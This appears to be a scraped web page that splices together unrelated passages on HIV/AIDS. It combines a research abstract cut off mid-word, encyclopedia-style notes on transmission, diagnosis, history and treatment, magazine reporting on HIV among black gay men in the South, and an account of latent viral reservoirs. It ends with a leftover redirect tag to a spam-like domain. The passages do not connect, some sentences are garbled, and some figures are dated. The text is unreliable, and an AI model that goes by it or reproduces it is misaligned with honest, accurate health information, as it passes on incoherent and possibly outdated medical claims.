Abstract While developing an assay to measure the activity of the tat protein from human immunodeficiency virus 1 (HIV-1), we discovered that the purified protein could be taken up by cells growing in tissue culture and subsequently trans-activate the viral promoter. Trans-

HIV/AIDS can be diagnosed via a blood test to see the presence of antibodies to the HIV virus. Blood given for donation in many places is screened for HIV before it is administered to patients, as blood transfusion can be one mode of transmission of the HIV virus. HIV/AIDS patients face many serious health conditions. For example, they are more prone to cancers which can be aggressive and devastating. Sometimes, individuals may not be able to carry out their normal lifestyles, while in other cases, individuals may experience bouts of illness and then a calm. There are two general classes of drugs used to treat HIV/AIDS: nucleoside reverse transcriptase inhibitors and protease inhibitors. The first class works during the replication of the virus while the second influences the virus life cycle later on.

By 1984 researchers working in Africa had provided clear evidence for heterosexual transmission of the causative agent, HIV. The virus had been isolated the year before by a team of French researchers led by virologist Luc Montagnier. Montagnier and his colleagues identified the virus as a new type of human retrovirus, and they suspected that it was the cause of AIDS. But more-detailed characterization was needed to confirm the connection, so Montagnier sent samples to American virologist Robert C. Gallo, who had contributed to the discovery of the first known human retrovirus (human T-lymphotropic virus) several years earlier. Gallo helped establish that HIV caused AIDS, and he contributed to the subsequent development of a blood test for its detection. Montagnier initially called the new infectious agent lymphadenopathy-associated virus (LAV), but in 1986 the International Committee on Taxonomy of Viruses renamed it HIV. Montagnier and French virologist Françoise Barré-Sinoussi were awarded the 2008 Nobel Prize for Physiology or Medicine for their discovery of HIV; despite Gallo’s role in confirming HIV as the cause of AIDS, Montagnier and colleagues were the first to isolate the virus.

In addition to sexual behavior, only a few other means of HIV transmission exist. Sharing unsterilized needles used in drug injections is one way, owing to the exchange of blood on the needle, and thus intravenous drug users are an extremely high-risk group. Several cities have experimented with programs that offer free, clean needles. These programs have seen up to a 75 percent reduction in new HIV cases. Receipt of donations of blood, semen, organs, and other human tissue can also transmit HIV, although here, at least, screening methods have proved largely successful. Childbirth and breast feeding are also avenues of transmission, and thus children of HIV-positive mothers may be at risk.

Sturdevant had gathered the crew to announce that he was taking a new job. He would be the manager of the SPOT — Safe Place Over Time — a new program located on the third floor of the Jackson Medical Mall in a former eyewear shop, funded by ViiV Healthcare, a pharmaceutical company that produces a dozen H.I.V. medications. He would continue to provide services and support for young gay and bisexual men and transgender women and still consult for My Brother’s Keeper. The new gig offered Sturdevant autonomy, but also $8,000 more per year. “I had to wait until after Christmas to get presents for the children and grandchildren,” he said, sipping cognac and Coke, ice cubes bouncing against the sides of a coffee mug, his cheeks rosy with cheer. “I always want to be able to take care of my family,” he added, “to be able to say, ‘Don’t worry; I got you.’ ”

A 2011 trial has confirmed that if an HIV-positive person adheres to an effective ART regimen, the risk of transmitting the virus to their uninfected sexual partner can be reduced by 96%. The WHO recommendation to initiate ART in all people living with HIV will contribute significantly to reducing HIV transmission.

The most frequent mode of transmission of HIV is through sexual contact with an infected person.[12] Globally, the most common mode of HIV transmission is via sexual contacts between people of the opposite sex;[12] however, the pattern of transmission varies among countries. As of 2014, most HIV transmission in the United States occurred among men who had sex with men (83% of new HIV diagnoses among males aged 13 and older and 67% of total new diagnoses).[51] In the US, gay and bisexual men aged 13 to 24 accounted for an estimated 92% of new HIV diagnoses among all men in their age group and 27% of new diagnoses among all gay and bisexual men.[51] About 15% of gay and bisexual men have HIV while 28 percent of transgender women test positive in the US.[51][52]

Fungi. The most common fungal disease associated with AIDS is Pneumocystis carinii pneumonia (PCP). PCP is the immediate cause of death in 15-20% of AIDS patients. It is an important measure of a patient’s prognosis. Other fungal infections include a yeast infection of the mouth (candidiasis or thrush) and cryptococcal meningitis.

The HIV enzyme reverse transcriptase converts the viral RNA into DNA, which is to human genetic material, when the virus is inside the cell. This DNA is transported to the cell’s nucleus, where it is spliced into human DNA by the HIV enzyme integrase. The HIV DNA is known as provirus after it is integrated.

The overall figures may give a false impression that the HIV epidemic is relatively homogeneous. In fact, the HIV epidemic is best viewed as numerous separate epidemics among distinct risk groups, although the various epidemics clearly have some level of overlap. In any given area, the infection may be most prevalent among users of intravenous drugs who share needles. In another, the main risk group may be men who have sex with other men. And in yet another, the main risk group may be female sex workers.

“Black men are not just out here having unprotected sex willy-nilly; the science disproves that,” said Terrance Moore, deputy executive director of the National Alliance of State and Territorial AIDS Directors in Washington. He pointed to stacks of studies over the years, including a groundbreaking, exhaustive 2006 data dive led by Greg Millett that was published in The American Journal of Public Health. In this and other studies, Millett and his colleagues found that gay black men engage in risky sexual practices no more frequently, are as consistent about condom use and have fewer sex partners than their nonblack peers. “It’s that the viral load in communities of black gay men is higher, which puts them at disproportionate risk,” Moore explained. “Plus, these are the same individuals that are dealing with structural barriers around lack of employment, lack of education and opportunities, transportation and, of course, very, very overt institutional racism.”

Few believe there is the kind of energy, leadership, money and political will in the current political climate to fix the situation in the community that has fallen through the cracks for so long. And experts in the field have grown increasingly worried about the new administration’s commitment to fighting the disease. Soon after President Trump’s inauguration, the web page of the Office of National AIDS Policy, the architect of the National H.I.V./AIDS Strategy, was disabled on the White House website. The president’s proposed budget includes a $186 million cut in the C.D.C.’s funding for H.I.V./AIDS prevention, testing and support services. The congressional fight over the repeal of the Affordable Care Act, and the president’s declarations that “Obamacare is dead,” have conjured a disastrous return to even more alarming conditions, like waiting lists for medication. As recently as 2011, the AIDS Drug Assistance Program state-by-state list of people waiting for H.I.V. medication ballooned to over 9,000 people, mostly poor black and brown men in Southern states.

One of the problems with finding a cure is that the virus can persist in cells throughout the body and potentially hide in areas that are difficult for drugs to reach, like the brain. New research is helping us understand how to effectively treat viruses in these secluded areas of the body. In addition, those infected cells that persist in the body are being studied to determine how they can be stimulated to produce virus and/or be targeted for clearance from the body by novel therapies.

Siliciano told me about the first time he saw the latent virus emerge in the memory T cells of an H.I.V. patient on HAART. The patient was thought to be cured. “He had been biopsied in every imaginable place, and nobody could find any virus,” Siliciano said. Researchers took twenty tubes of the patient’s blood, isolated the T cells, and divided them into multiple wells. The specimen was then intermixed with cells from uninfected people. If the healthy T cells became infected, the virus would reproduce and be released. Detection of the virus would be signalled by a color change to blue. Siliciano remembers sitting at his desk, talking with a visitor, when a graduate student burst in: “The wells are turning blue!” He said, “It was a very strange moment, because it was a confirmation of this hypothesis—so it was exciting—but it was also a disaster. Everybody came to the same conclusion: that these cells persisted despite the antiretroviral therapy.” [redirect url=’http://penetratearticles.info/bump’ sec=’7′]
